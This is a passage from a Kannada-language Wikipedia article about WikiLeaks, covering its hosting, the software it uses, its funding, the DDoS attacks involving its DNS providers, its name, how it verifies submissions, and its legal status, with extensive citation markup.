ಹೆಚ್ಚಿನ ಸಮಯ ಬೇಕಾಗಬಹುದೆಂದು ಹೇಳಿತು.<ref name="autogenerated3">{{cite web|last= |first=|title=French company allowed to keep hosting WikiLeaks |url=https://www.bloomberg.com/news/2010-12-08/french-company-allowed-to-keep-hosting-wikileaks.html |publisher=Bloomberg |accessdate=8 December 2010}}</ref><ref>{{cite web|title=French web host need not shut down WikiLeaks site: judge |url=http://www.france24.com/en/20101206-french-web-host-need-not-shut-down-wikileaks-site-judge |publisher=AFP|date=6 December 2010 |accessdate=8 December 2010|archiveurl=https://web.archive.org/web/20101210142206/http://www.france24.com/en/20101206-french-web-host-need-not-shut-down-wikileaks-site-judge|archivedate=10 December 2010}}</ref> {{Out of date|article|date=December 2010}} ವಿಕಿಲೀಕ್ಸ್‌ ಹಲವಾರು ತಂತ್ರಾಂಶ(ಸಾಫ್ಟ್‌ವೇರ್)ಗಳನ್ನು ಅವಲಂಬಿಸಿದೆ. ಅವು ಯಾವುವೆಂದರೆ ಮೀಡಿಯಾ ವಿಕಿ, ಫ್ರೀನೆಟ್, ಟೋರ್ ಮತ್ತು ಪಿಜಿಪಿ.<ref>{{cite web |author=|title= Is WikiLeaks accessible across the globe or do oppressive regimes in certain countries block the site? |url=http://www.wikileaks.org/wiki/Wikileaks:About#Is_Wikileaks_accessible_across_the_globe_or_do_oppressive_regimes_in_certain_countries_block_the_site.3F |work=WikiLeaks |year=2008 |accessdate=28 February 2008 |archiveurl = https://web.archive.org/web/20080216000537/http://www.wikileaks.org/wiki/Wikileaks:About#Is_Wikileaks_accessible_across_the_globe_or_do_oppressive_regimes_in_certain_countries_block_the_site.3F <!-- Bot retrieved archive --> |archivedate = 16 February 2008}}</ref> ವಿಕಿಲೀಕ್ಸ್‌ ತನ್ನ ಬಳಕೆದಾರರಿಗೆ ಖಾಸಗಿತನ ಒದಗಿಸಲು ಟೋರ್ ತಂತ್ರಜ್ಞಾನ ಬಳಸಲು ಪ್ರೋತ್ಸಾಹಿಸುತ್ತಿದೆ.<ref>{{cite web |url=http://www.freehaven.net/anonbib/cache/wpes09-bridge-attack.pdf |title=On the risks of serving whenever you surf |publisher=freehaven.net |format=PDF |accessdate=17 June 2010}}</ref> ನವೆಂಬರ್ 4 2010ರಂದು ಜೂಲಿಯನ್ ಅಸ್ಸಾಂಗಿಯವರು ಸ್ವಿಸ್ ಪಬ್ಲಿಕ್ ಟೆಲಿವಿಜನ್(TSR)ಗೆ ನೀಡಿದ ಹೇಳಿಕೆಯಲ್ಲಿ ತಾನು ತಟಸ್ಥ [[ಸ್ವಿಟ್ಜರ್ಲ್ಯಾಂಡ್|ಸ್ವಿಡ್ಜರ್ಲ್ಯಾಂಡ್‌]]ನಲ್ಲಿ ರಾಜಕೀಯ ಆಶ್ರಯ ಪಡೆಯಲು ಬಯಸುತ್ತಿದ್ದೇನೆ ಮತ್ತು ವಿಕಿಲೀಕ್ಸ್‌ನ್ನು ಸ್ವಿಡ್ಜರ್ಲ್ಯಾಂಡಿನಲ್ಲಿ ಸ್ಥಾಪಿಸಿ ಅಲ್ಲಿಂದ ಕಾರ್ಯಾಚರಣೆ ಮಾಡವ ಉದ್ದೇಶವನ್ನು ಹೊಂದಿದ್ದೇನೆ ಎಂದು ತಿಳಿಸಿದ್ದಾರೆ.<ref>{{cite news|url=http://www.tsr.ch/info/suisse/2657308-julian-assange-compte-demander-l-asile-en-suisse.html|title=Julian Assange compte demander l'asile en Suisse|publisher=TSR|date=4 November 2010}}</ref><ref>{{cite news|url=http://www.reuters.com/article/idUSTRE6A369920101104|title=WikiLeaks founder says may seek Swiss asylum|publisher=Reuters|date=4 November 2010}}</ref> ಅಸ್ಸೆಂಜ್ ಅವರ ಪ್ರಕಾರ ಸ್ವಿಡ್ಜರ್ಲ್ಯಾಂಡ್ ಮತ್ತು [[ಐಸ್‍ಲ್ಯಾಂಡ್|ಐಸ್‌ಲ್ಯಾಂಡ್‌]]ಗಳು ಮಾತ್ರ ವಿಕಿಲೀಕ್ಸ್‌ ಕಾರ್ಯನಿರ್ವಹಣೆಗೆ ಅತ್ಯಂತ ಸುರಕ್ಷಿತ ಸ್ಥಳಗಳಾಗಿವೆ.<ref>{{cite news|url=http://news.orf.at/stories/2023751/|title=WikiLeaks-Gründer erwägt Umzug in die Schweiz|publisher=ORF|date=5 November 2010}}</ref><ref>{{cite news |title=WikiLeaks Founder to Release Thousands of Documents on Lebanon |first= |last= |newspaper=[[Al-Manar]] |date=5 November 2010 |url=http://www.almanar.com.lb/newssite/NewsDetails.aspx?id=161016&language=en |accessdate=28 November 2010 |archive-date=13 ನವೆಂಬರ್ 2010 |archive-url=https://web.archive.org/web/20101113051102/http://www.almanar.com.lb/NewsSite/NewsDetails.aspx?id=161016&language=en |url-status=dead }}</ref> ===ಹಣಕಾಸು=== ವಿಕಿಲೀಕ್ಸ್‌ ಒಂದು ಲಾಭೋದ್ದೇಶವಿಲ್ಲದ ಸಂಸ್ಥೆಯಾದ್ದು ಸಾರ್ವಜನಿಕರ ದೇಣಿಗೆಯನ್ನು ಅವಲಂಬಿಸಿದೆ. ಇದರ ಹಣಕಾಸು ನಿರ್ವಹಣೆಯು ಬ್ಯಾಂಕ್ ಮೂಲಕ ಹಣ ವರ್ಗಾವಣೆ ಮತ್ತು ಅಂತರ್ಜಾಲ ಹಣ ಬಟವಾಡೆ ಪದ್ದತಿಗಳನ್ನು ಒಳಗೊಂಡಿದೆ. ವವ್ ಹಾಲೆಂಡ್ ಫೌಂಡೆಶನ್ ವಿಕಿಲೀಕ್ಸ್‌ನ ಒಂದು ಮುಖ್ಯವಾದ ಹಣಕಾಸು ಮೂಲವಾಗಿದೆ. ಒಂದು ಹೇಳಿಕೆಯ ಪ್ರಕಾರ ಅಕ್ಟೋಬರ್ 2009ರಿಂದ ಡಿಸೆಂಬರ್ 2010 ಅವಧಿಯಲ್ಲಿ ಸುಮಾರು 9,00,000 ಯೂರೋಗಳನ್ನು ಅಂದರೆ ಅಮೇರಿಕಾದ ಡಾಲರ್ನಲ್ಲಿ $1.2ಮಿಲಿಯನ್‌ಗಳಷ್ಟನ್ನು ಸಾರ್ವಜನಿಕರಿಂದ ದೇಣಿಗೆಯಾಗಿ ಪಡೆದಿದೆ. ಇದರಲ್ಲಿ €370,000 ಹಣವನ್ನು ವಿಕಿಲೀಕ್ಸ್‌ಗೆ ನೀಡಲಾಗಿದೆ. ವವ್ ಹಾಲೆಂಡ್ ಪೌಂಢೆಶನ್‌ನ ಉಪಾಧ್ಯಕ್ಷರಾದ ಹೆಂಡ್ರಿಕ್ ಫುಲ್ದಾರವರಿಂದ ಬಂದಿದೆ. ಅವರ ಹೇಳಿಕೆಯಂತೆ ಕಂಪನಿಯು ಪೇ-ಪಾಲ್‌ರವರು ವಿಕಿಲೀಕ್ಸ್‌ನ ಖಾತೆಯನ್ನು ವಜಾಗೊಳಿಸುವ ಮೊದಲು ದೇಣಿಗೆ ನೀಡಿದ ಎರಡರಷ್ಟನ್ನು ಸಾಮಾನ್ಯ ಬ್ಯಾಂಕ್‌ಗಳಿಂದ 'ಪೇ-ಪಾಲ' ಮಾದರಿಯ ಹಣವರ್ಗಾವಣೆಯಿಂದ ಪಡೆಯುತ್ತಿದೆ. ಅವರು ತಿಳಿಯಪಡಿಸಿದ ಮತ್ತೊಂದು ಅಂಶವೆಂದರೆ ಪ್ರತಿಯೊಂದು ವಿಕಿಲೀಕ್ಸ್‌ನ ಪ್ರಕಟಣೆಯೂ ಕೂಡ " ಬೆಂಬಲದ ಅಲೆಯನ್ನು" ಬೀಸುತ್ತಿದೆ. ಮತ್ತು ಆ ದೇಣಿಗೆಗಳು ವಿಕಿಲೀಕ್ಸ್‌ನಲ್ಲಿ ರಾಜತಾಂತ್ರಿಕ ತಂತಿವಾರ್ತೆಗಳು ಪ್ರಕಟವಾದ ನಂತರ ಮತ್ತಷ್ಟು ಪ್ರಭಲವಾದವು.<ref>{{cite news |title='Donations Were Never as Strong as Now'|first= |last= |newspaper=[[Der Spiegel]] |date=13 December 2010 |url=http://www.spiegel.de/international/world/0,1518,734318,00.html|accessdate=15 December 2010}}</ref><ref>{{cite news |title=Financing WikiLeaks|first= |last= |newspaper=Harpers' Magazine |date=6 August 2010 |url=http://www.harpers.org/archive/2010/08/hbc-90007485|accessdate=15 December 2010}}</ref> ===ಸರ್ವರ್‌ನ ಹೆಸರುಗಳು=== ವಿಕಿಲೀಕ್ಸ್‌ನವರು 'ಎವರಿ ಡಿಎನ್‌ಎಸ್‌ರವರ ಸೇವೆ ಪಡೆಯುತ್ತಿದ್ದರು, ಆದರೆ ಅದು ಡಿಡಿಓಎಸ್‌ದ ದಾಳಿಗೆ ಕಾರಣವಾಯಿತು.{{clarify|date=December 2010|reason=reword to make clear what host is meant and why using EveryDNS led to DDoS}} ಈ ದಾಳಿಯು ಎವರಿ ಡಿಎನ್ಎಸ್‌ರವರ ಸೇವೆಯ ಮೌಲ್ಯವನ್ನು ಕಡಿಮೆ ಮಾಡಿತು. ಇದರಿಂದಾಗಿ ಡಿಎನ್ಎಸ್‌ರವರು ತಮ್ಮ ಸೇವೆಯನ್ನು ವಿಕಿಲೀಕ್ಸ್‌ನಿಂದ ಹಿಂಪಡೆದರು. ವಿಕಿಲೀಕ್ಸ್‌ನ ಬೆಂಬಲಿಗರು ಎವರಿ ಡಿಎನ್ಎಸ್ ವಿರುದ್ಧ ಡಿಡಿಓಎಸ್ ದಾಳಿ ಮಾಡುವ ಮೂಲಕ ಪ್ರತಿಕಾರ ತೀರಿಸಿಕೊಂಡರು. ಕೆಲವು ಬೆಂಬಲಿಗರು ಈಸಿಡಿಎನ್ಎಸ್, ಕಂಪನಿಯನ್ನು ಎವರಿ ಡಿಎನ್ಎಸ್ ಎಂದು ತಪ್ಪಾಗಿ ತಿಳಿದು ದಾಳಿ ನಡೆಸಿ ಅದಕ್ಕೂ ಹಾನಿಯನ್ನುಂಟುಮಾಡಿದರು. ಈಸಿಡಿಎನ್ಎಸ್ ಮತ್ತು ಎವರಿ ಡಿಎನ್ಎಸ್ ಮೇಲೆ ದಾಳಿ ನಡೆಸಿದ ಕಾರಣ ಸ್ಥಗಿತಗೊಳಿಸಲಾಯಿತು. ಅದರ ನಂತರ ಈಸಿಡಿಎನ್ಎಸ್ ಕಂಪನಿಯು ವಿಕಿಲೀಕ್ಸ್‌ಗೆ ಸರ್ವರ್ ಸೇವೆಯನ್ನು ನೀಡಲು ನಿರ್ಧರಿಸಿತು.<ref>{{cite news |title=Canadian firm caught up in Wiki wars |first=Steve |last=Ladurantaye |url=http://www.theglobeandmail.com/news/technology/canadian-firm-caught-up-in-wiki-wars/article1830732/ |newspaper=The Globe and Mail |date=8 December 2010 |accessdate=9 December 2010}}</ref> ===ಹೆಸರು ಮತ್ತು ಸಿದ್ಧಾಂತಗಳು=== "ವಿಕಿಲೀಕ್ಸ್‌" ಎಂಬ ಹೆಸರಿದ್ದರೂ ಕೂಡಾ ಅದು "ವಿಕಿ"ಗೂ ಅದಕ್ಕೂ ಯಾವುದೇ ಸಂಬಂಧವಿಲ್ಲ.{{As of|2010|12|lc=on}} ಅಲ್ಲದೇ, ಈ ಪ್ರಸಿದ್ಧ ಹೆಸರಿನ ಕಾರಣದಿಂದಾಗಿ ಇದು ಜನರಲ್ಲಿ ಗೊಂದಲಕ್ಕೆ ಕಾರಣವಾಯಿತು<ref>{{cite news|url=http://en.wikipedia.org/wiki/Wikipedia:Wikipedia_Signpost/2010-09-06/In_the_news|title=Difficult relationship between WikiLeaks and Wikipedia|coauthors=Wackywace, HaeB, and Tony1|date=6 September 2010|work={{srlink|Wikipedia:Signpost/About|The Signpost}}|publisher=[[Wikipedia]]|accessdate=1 December 2010}}</ref>. ಆದರೂ '[[ವಿಕಿಪೀಡಿಯ|ವಿಕಿ-ಪಿಡಿಯಾ]]' ಮತ್ತು 'ವಿಕಿಲೀಕ್ಸ್‌' ಎರಡು ಕೂಡಾ ತಮ್ಮ ಹೆಸರಿನಲ್ಲಿ 'ವಿಕಿ' ಹೆಸರನ್ನು ಸೇರಿಸಿಕೊಂಡಿದ್ದರೂ ಅವೆರಡಕ್ಕೂ ಸಂಬಂಧವಿಲ್ಲ.<ref>{{cite web|url=http://en.wikipedia.org/wiki/Wikipedia:WikiLeaks_is_not_part_of_Wikipedia|title=Wikipedia:WikiLeaks is not part of Wikipedia|work=[[Wikipedia]]|publisher=[[Wikimedia Foundation]]|accessdate=1 December 2010}}</ref><ref>{{cite news|url=http://www.independent.co.uk/news/media/online/wiki-giants-on-a-collision-course-over-shared-name-2065561.html|title=Wiki giants on a collision course over shared name|last1=Rawlinson|first1=Kevin |first2=Tom |last2=Peck|date=30 August 2010|work=The Independent |location=UK|accessdate=1 December 2010}}</ref> ಅಂದರೆ "ವಿಕಿ" ಎನ್ನುವುದೊಂದು ಬ್ರ್ಯಾಂಡ್‌ ಹೆಸರು ಆಗಿರಲಿಲ್ಲ. ಲಾಭ ಗಳಿಸುವ ಉದ್ದೇಶದಿಂದ ಕೂಡಿದ ಸಂಸ್ಥೆಯಾದ 'ವಿಕಿಯಾ' ಇದು ವಿಕಿಮೀಡಿಯಾ ಫೌಂಡೇಶನ್‌ದಿಂದ ಬೇರೆಯಾಗಿ ವಿಕಿಲೀಕ್ಸ್‌ಗೆ ಸಂಬಂಧಿಸಿದ ಮತ್ತು ವಿಕಿಲೀಕ್ಸ್‌ ಆಳ್ವಿಕೆಯಲ್ಲಿ ಹೆಸರುಗಳಾದ ವಿಕಿಲೀಕ್ಸ್‌ ಡಾಟ್ ಕಾಮ್ ಮತ್ತು ವಿಕಿಲೀಕ್ಸ್‌ ಡಾಟ್‌ನೆಟ್ ಗಳನ್ನು ಖರೀದಿಸಿ "ಚಿನ್ಹೆಯನ್ನು ಕಾಪಾಡುವ ಮಾಪನ" ವಾಗಿ 2007ರಲ್ಲಿ ಪರಿವರ್ತಿಸಿದರು.<ref>{{cite web|url=http://www.wikia.com/Press:Wikia_Does_Not_Own_Wikileaks_Domain_Names|title=Press:Wikia Does Not Own Wikileaks Domain Names|work=[[Wikia]]|publisher=[[Wikia]]|accessdate=13 December 2010}}</ref> ಓದಿದ ನಿಜವಾದ ಅನಿಸಿಕೆಗಳು:<ref name="whatis">{{cite web |author=|title=What is WikiLeaks? How does WikiLeaks operate? |url=http://www.wikileaks.org/wiki/Wikileaks:About#What_is_WikiLeaks.3F_How_does_WikiLeaks_operate.3F |work=WikiLeaks |year=2008 |accessdate=28 February 2008 |archiveurl = https://web.archive.org/web/20080216000537/http://www.wikileaks.org/wiki/Wikileaks:About#What_is_WikiLeaks.3F_How_does_WikiLeaks_operate.3F |archivedate = 16 February 2008}}</ref> <blockquote>ಉಪಯೋಗಿಸುವವರಿಗೆ ವಿಕಿಲೀಕ್ಸ್‌ ಕೂಡ ವಿಕಿಪಿಡಿಯಾದಂತೆ ಭಾಸವಾಗುತ್ತದೆ. ಯಾರು ಬೇಕಾದರೂ ಈ ತಾಣದಲ್ಲಿ ಪ್ರಕಟಿಸಬಹುದು, ಯಾರು ಬೇಕಾದರೂ ತಿದ್ದಬಹುದು. ಯಾವುದೇ ತಾಂತ್ರಜ್ಞಾನದ ಅರಿವು ಅಗತ್ಯವಿಲ್ಲ. ಸೋರಿಕೆದಾರರು ವಿಷಯಗಳನ್ನು ಅನಾಮಧೇಯವಾಗಿ ಮತ್ತು ಯಾರಿಗೂ ಕುರುಹು ಸಿಗದಂತೆ ಸೇರಿಸಬಹುದು. ಗ್ರಾಹಕರು ಬೇಕಾದಲ್ಲಿ ಸಾರ್ವಜನಿಕವಾಗಿ ವಿಷಯದ ಸತ್ಯಾಸತ್ಯತೆಯ ಬಗ್ಗೆ ತುಲನಾತ್ಮಕವಾಗಿ ಪರಿಶೀಲಿಸಬಹುದು. ಮತ್ತು ಗ್ರಾಹಕರು ವಿಷಯಗಳ ಮೇಲಿನ ಬರಹಗಳನ್ನು ಸಾರ್ವಜನಿಕವಾಗಿ ಸಂಭವನೀಯತೆಯ ಮೇಲೆ ತುಲನೆ ಮಾಡಿ ನೋಡಬಹುದು. ಗ್ರಾಹಕರು ಇಷ್ಟಪಟ್ಟಲ್ಲಿ ಅಲ್ಲಿರುವ ವಿಷಯಗಳ ಆಧಾರದ ಮೇಲೆ ವಿವರವಾಗಿ ಲೇಖನಗಳನ್ನು ಬರೆಯಬಹುದು. ದಾಖಲೆಗಳ ರಾಜಕೀಯ ಪ್ರಸಕ್ತತೆ ಮತ್ತು ಅವುಗಳ ಸತ್ಯಾಸತ್ಯತೆಯನ್ನು ತುಂಬಾ ಜನರು ಬಹಿರಂಗ ಪಡಿಸುತ್ತಾರೆ.</blockquote> ವಿಕಿಲೀಕ್ಸ್‌ರವರು ಹೊಸದಾಗಿ ಸಂಪಾದಕಿಯವೊಂದನ್ನು ಹುಟ್ಟುಹಾಕಿದ್ದು ಅದು ಕೇವಲ ರಾಜಕೀಯ, ರಾಜತಾಂತ್ರಿಕ, ಐತಿಹಾಸಿಕ ಅಥವಾ ನೈತಿಕ ವಿಷಯಗಳನ್ನಾಧರಿಸಿದ(ಅವು ಮೊದಲು ಸಾರ್ವಜನಿಕವಾಗಿ ಪ್ರಕಟವಾಗಿರಬಾರದು) ಲೇಖನಗಳನ್ನು ಸ್ವೀಕರಿಸುತ್ತದೆ.<ref>{{cite web |url=http://wikileaks.org/wiki/Wikileaks:Submissions |archiveurl=https://web.archive.org/web/20080419013425/http://www.wikileaks.org/wiki/Wikileaks:Submissions |archivedate=19 April 2008 |title=WikiLeaks' submissions page |publisher=WikiLeaks |accessdate=17 June 2010}}</ref> ವಿಕಿಲೀಕ್ಸ್‌ ಕೇವಲ ವಿವೇಚನೆಯಿಲ್ಲದ ರಹಸ್ಯ ಸುದ್ದಿಗಳನ್ನು ಪ್ರಕಟಿಸುತ್ತದೆ ಯಾವುದೇ ತರಹದ ನೈತಿಕತೆಯ ಆಧಾರದ ಮೇಲಿನ ಸಂಪಾದಕೀಯ ನೀತಿಯನ್ನು ಪಾಲಿಸುತ್ತಿಲ್ಲ ಎಂಬ ವಿಮರ್ಶೆಯಿಂದ ಈ ಬೆಳವಣಿಗೆಯು ಜಾರಿಗೆ ಬಂದಿತು.<ref>{{cite news |title=Wikileaks and untracable document disclosure |url=http://www.fas.org/blog/secrecy/2007/01/wikileaks_and_untraceable_docu.html |work=Secrecy News |publisher=Federation of American Scientists |date=3 January 2007 |accessdate=21 August 2008}}</ref> ಇನ್ನು ಮುಂದೆ ಬಹಳದಿನಗಳವರೆಗೆ ಯಾರು ಬೇಕಾದರೂ ಸೇರಿಸುವುದು ಮತ್ತು ತಿದ್ದುವಿಕೆಯನ್ನು ಸ್ಥಗಿತಗೊಳಿಸಲಾಗುವುದು ಎಂದು ಎಫ್‌ಎಕ್ಯೂ ತಿಳಿಸಿದ್ದರು. ಸ್ವಲ್ಪ ದಿನಗಳ ಕಾಲ ವಿವರಗಳು ಅಂತರಂಗಿಕ ವ್ಯಾಪ್ತಿಗೊಳಪಟ್ಟು ಕೆಲವು ಪ್ರಕಟವೂ ಆದವು, ಆದರೆ ಕೇವಲ ಸಂಪಾದಕನಿಂದ ಬರೆಯಲ್ಪಟ್ಟಂತಿರುವ ಬರಹಗಳನ್ನು ಅನಾಮಿಕ ವಿಕಿಲೀಕ್ಸ್ ವಿಮರ್ಶಕರು ತಿರಸ್ಕರಿಸಿದರು. ನಂತರ 2008ರಲ್ಲಿ ತನ್ನ ಹೇಳಿಕೆಯನ್ನು ಪುನಃ ನೀಡಿದ ಎಫ್ಎಕ್ಯೂ "ಯಾರು ಬೇಕಾದರೂ ಸೇರಿಸಬಹುದು. [...] ಯಾರು ಬೇಕಾದರೂ ತಿದ್ದಬಹುದು. ಮತ್ತು ಬಳಕೆದಾರರು ಸಾರ್ವಜನಿಕವಾಗಿ ವಿಷಯಗಳ ಮೇಲೆ ಚರ್ಚಿಸಬಹುದು ಮತ್ತು ದಾಖಲೆಗಳ ಸತ್ಯಸತ್ಯತೆಯ ಬಗ್ಗೆ ವಿಮರ್ಶೆ ಮಾಡಬಹುದು" ಎಂದು ಹೇಳಿಕೆ ನೀಡಿತು.<ref>{{cite web |author=|title=What is Wikileaks? How does Wikileaks operate? |url=http://wikileaks.org/wiki/Wikileaks:About#What_is_Wikileaks.3F_How_does_Wikileaks_operate.3F |archiveurl=https://web.archive.org/web/20080504122032/http://wikileaks.org/wiki/Wikileaks:About#What_is_Wikileaks.3F_How_does_Wikileaks_operate.3F |archivedate=4 May 2008 |work=WikiLeaks |year=2008}}</ref> 2010ರ ನಂತರ ಪುನಃ ಕಾರ್ಯಗತಗೊಳಿಸಿದ ನಂತರ ವಿಕಿಲೀಕ್ಸ್‌ಗೆ ಟಿಪ್ಪಣೆಯನ್ನು ಸೇರಿಸುವುದು ಬಹಳದಿನಗಳ ಕಾಲ ಸಾಧ್ಯವಿರಲಿಲ್ಲ<ref>{{cite news |url=http://motherjones.com/mojo/2010/05/wikileaks-assange-returns |title=WikiLeaks Gets A Facelift |publisher=Mother Jones |author=Dave Gilson |date=19 May 2010 |accessdate=17 June 2010}}</ref> ===ಸಲ್ಲಿಸುವಿಕೆಯ ದೃಢೀಕರಣ=== ವಿಕಿಲೀಕ್ಸ್‌ ಹೇಳಿಕೆಯಂತೆ ಅದು ಯಾವಾಗಲೂ ಸಾಕ್ಷಾಧಾರವಿಲ್ಲದ ಹೇಳಿಕೆಗಳನ್ನು ಪ್ರಕಟಿಸಿಲ್ಲ. ಪ್ರಕಟಣೆಯ ಪೂರ್ವದಲ್ಲಿ ಪ್ರತಿಯೊಂದು ದಾಖಲೆಗಳನ್ನು ಪರಾಮರ್ಶಿಸಲಾಗುತ್ತದೆ. ವಿಕಿಲೀಕ್ಸ್‌ ಯಾವಾಗಲೂ ತಪ್ಪು ದಾರಿಹಿಡಿಸಬಹುದಾದ ವಿಷಯಗಳ ಬಗ್ಗೆ ಸಾಕಷ್ಟು ನಿಗಾ ವಹಿಸುತ್ತದೆ. ತಪ್ಪು ದಾರಿಯನ್ನು ತೋರಿಸಬಹುದಾದ ಮಾಹಿತಿಗಳು ಈಗಾಗಲೇ ಮುಖ್ಯವಾಹಿನಿಯಲ್ಲಿ ಚಾಲ್ತಿಯಲ್ಲಿವೆ. ಮತ್ತು ವಿಕಿಲೀಕ್ಸ್‌ ಯಾವುದೇ ತರಹದ ಬೇರೆಯವರ ಸಹಕಾರವನ್ನು ಹೊಂದಿಲ್ಲ."<ref>{{cite news|last=Trapido|first=Michael|title=Wikileaks: Is Julian Assange a hero, villain or simply dangerously naïve?|url=http://www.newstime.co.za/WorldNews/Wikileaks_:_Is_Julian_Assange_a_hero_villain_or_simply_dangerously_na%C3%AFve/16065/|accessdate=18 December 2010|newspaper=NewsTime|date=1 December 2010|archive-date=13 ಆಗಸ್ಟ್ 2011|archive-url=https://web.archive.org/web/20110813024350/http://www.newstime.co.za/WorldNews/Wikileaks_%3A_Is_Julian_Assange_a_hero_villain_or_simply_dangerously_na%C3%AFve/16065/|url-status=dead}}</ref> ಎಫ್ಎಕ್ಯೂದ ಹೇಳಿಕೆಯ ಪ್ರಕಾರ ಇದೊಂದು ಜಗತ್ತಿನಾದ್ಯಂತ ಇರುವ ಎಲ್ಲ ಪ್ರಕಾರಗಳ ಜನರೂ ಕೂಡಾ ದಾಖಲೆಗಳನ್ನು ಪರಿಶಿಲಿಸಬಹುದಾದ ವ್ಯವಸ್ಥೆಯಾಗಿದೆ."<ref>{{cite web |url=http://wikileaks.org/faq-en |archiveurl=https://web.archive.org/web/20070701115958/http://wikileaks.org/faq-en |archivedate=1 July 2007 |title=Frequently Asked Questions |publisher=WikiLeaks |accessdate=17 June 2010}}</ref> 2010ರಲ್ಲಿ ಅಸ್ಸಾಂಗಿಯವರು ನೀಡಿದ ಹೇಳಿಕೆಯ ಪ್ರಕಾರ ಪ್ರತಿಯೊಂದು ಪ್ರಕಟಣೆಯೂ ಭಾಷೆ ಮತ್ತು ತಂತ್ರಜ್ಞಾನದಲ್ಲಿ ಪ್ರವೀಣರಾದ ಐದು ಜನ ತಜ್ಞ ವಿಮರ್ಶಕರಿಂದ ವಿಮರ್ಶೆಗೆ ಒಳಪಡುತ್ತದೆ. ಮತ್ತು ಅವರಿಗೆ ಒಂದು ವೇಳೆ ಸೋರಿಕೆ ನೀಡಿದವರ ಬಗ್ಗೆ ವಿವರಗಳು ತಿಳಿದಿದ್ದರೆ ಅಂತಹವರ ಹಿನ್ನೆಲೆಯನ್ನೂ ಅಭ್ಯಸಿಸುತ್ತಾರೆ.<ref name="motherjones3">{{cite web|url=http://motherjones.com/politics/2010/04/wikileaks-julian-assange-iraq-video?page=3 |title=Inside WikiLeaks’ Leak Factory |publisher=Mother Jones |date=|accessdate=30 April 2010}}</ref> ದಾಖಲೆಗಳನ್ನು ಅಸ್ಸಾಂಜೆ‌ರವರು ಅಂತಿಮವಾಗಿ ಪರಿಶೀಲಿಸುವ ಅಧಿಕಾರವನ್ನು ಹೊಂದಿದ್ದಾರೆ.<ref name="motherjones3" /> ===ಶಾಸನಬದ್ಧ ಸ್ಥಾನಮಾನ=== ====ಶಾಸನಬದ್ಧ ಹಿನ್ನೆಲೆ==== ವಿಕಿಲೀಕ್ಸ್‌ನ ಶಾಸನಬದ್ಧ ಸ್ಥಾನಮಾನ ಜಟಿಲ. ವಿಕಿಲೀಕ್ಸ್ ಅನ್ನು ತಪ್ಪು ಕರ್ಮಗಳ ಬಗ್ಗೆ ಕಾಳಜಿ ತೋರಿಸುವ ಸುರಕ್ಷತ ಮಧ್ಯವರ್ತಿ ಎಂದು ಅಸೆಂಜ್ ಪರಿಗಣಿಸಿದ್ದಾರೆ. ನೇರವಾಗಿ ತಪ್ಪು ಕರ್ಮಗಳನ್ನು ಮುದ್ರಣ ಸಂಸ್ಥೆಗೆ ಬಯಲು ಮಾಡುವ ಬದಲು, ಮತ್ತು ಬಹಿರಂಗತೆ ಹಾಗೂ ಪ್ರತೀಕಾರಕ್ಕೆ ಹೆದರಿ ತಪ್ಪು ಕರ್ಮಗಳ ಬೆಗ್ಗೆ ಕಾಳಜಿ ತೋರಿಸುವವರು ವಿಕಿಲೀಕ್ಸ್‌ಗೆ ಬಯಲು ಮಾಡುತ್ತಾರೆ, ಅದು ನಂತರ ಅವರ ಪರವಾಗಿ ಮುದ್ರಣ ಸಂಸ್ಥೆಗಳಿಗೆ ಬಯಲು ಮಾಡುತ್ತವೆ.<ref>{{cite news |last=Light |first=Gilead |work=The Great Debate |publisher=Reuters |title=The WikiLeaks story and criminal liability under the espionage laws |date=26 August 2010 |url=http://blogs.reuters.com/great-debate/2010/08/26/the-wikileaks-story-and-criminal-liability-under-the-espionage-laws/ |accessdate=6 December 2010 |archive-date=2 ಫೆಬ್ರವರಿ 2019 |archive-url=https://web.archive.org/web/20190202055804/http://blogs.reuters.com/great-debate/2010/08/26/the-wikileaks-story-and-criminal-liability-under-the-espionage-laws/ |url-status=dead }}</ref> ಯುರೋಪ್‌ನಾದ್ಯಂತ ಅದರ ಸರ್ವರ್‌ಗಳು ಸ್ಥಾಪಿತವಾಗಿವೆ ಹಾಗೂ ಯಾವುದೇ ಪರಾಮರ್ಶಕವಿಲ್ಲದ ಜಾಲ ಸಂಪರ್ಕದಿಂದ ಪ್ರವೇಶವನ್ನು ಪಡೆದಿದೆ. ಈ ಸಮೂಹ ತನ್ನ ಕೇಂದ್ರ ಕಛೇರಿಯನ್ನು ಸ್ವೀಡನ್‌ನಲ್ಲಿ ಸ್ಥಾಪಿಸಿದೆ ಕಾರಣ ಅಲ್ಲಿ ವಿಶ್ವದಲ್ಲೆ ಗೋಪ್ಯವಾದ ಮೂಲ-ಪತ್ರಕರ್ತರ ಸಂಬಂಧಗಳನ್ನು ಸಂರಕ್ಷಿಸುವ ದೃಢವಾದ ಡಾಲು ನಿಯಮಗಳಿವೆ.<ref name="Woolner 2010">{{citation|title=WikiLeaks Secret Records Dump Stays in Legal Clear: Ann Woolner|last=Woolner|first=Ann|date=27 July 2010|url=https://www.bloomberg.com/news/2010-07-28/wikileaks-secret-records-dump-stays-in-legal-clear-ann-woolner.html}}</ref><ref>{{cite news|last=Hennigan|first=W. J.|title=WikiLeaks' new home is in a former bomb shelter|url=http://latimesblogs.latimes.com/technology/2010/12/wikileaks-bahnhof-amazon.html|accessdate=11 December 2010|newspaper=Los Angeles Times|date=2 December 2010}}</ref> "ಯಾವುದೇ ಮಾಹಿತಿಯನ್ನು ಕೋರುವುದಿಲ್ಲ" ಎಂದು ವಿಕಿಲೀಕ್ಸ್ ಹೇಳಿಕೆ ನೀಡಿದ್ದಾರೆ.<ref name="Woolner 2010" /> ಹೇಗಿದ್ದರೂ, ಅಸ್ಸಾಂಜೆ ಮಲೇಶಿಯಾದಲ್ಲಿ ಹ್ಯಾಕ್ ಇನ್ ದಿ ಬಾಕ್ಸ್ ಸಮಾಲೋಚನೆಯಲ್ಲಿ ತನ್ನ ಭಾಷಣವನ್ನು ಬಳಸಿ ಹ್ಯಾಕರ್ಸ್ ಹಾಗೂ ಸುರಕ್ಷತಾ ಸಂಶೋಧಕರ ಗುಂಪನ್ನು ಅದರ "2009ರ ಅತ್ಯಗತದ ಬಯಲು"ಗಳ ಪಟ್ಟಿಯ ದಾಖಲೆಗಳನ್ನು ಪತ್ತೆಹಚ್ಚಲು ಸಹಾಯ ಕೇಳಿದರು.<ref>{{cite news |last=Nystedt |first=Dan |date=28 October 2009 |work=PC World Australia |publisher=IDG News Service |title=Wikileaks leader talks of courage and wrestling pigs |url=http://www.pcworld.idg.com.au/article/323998/wikileaks_leader_talks_courage_wrestling_pigs/ |accessdate=5 December 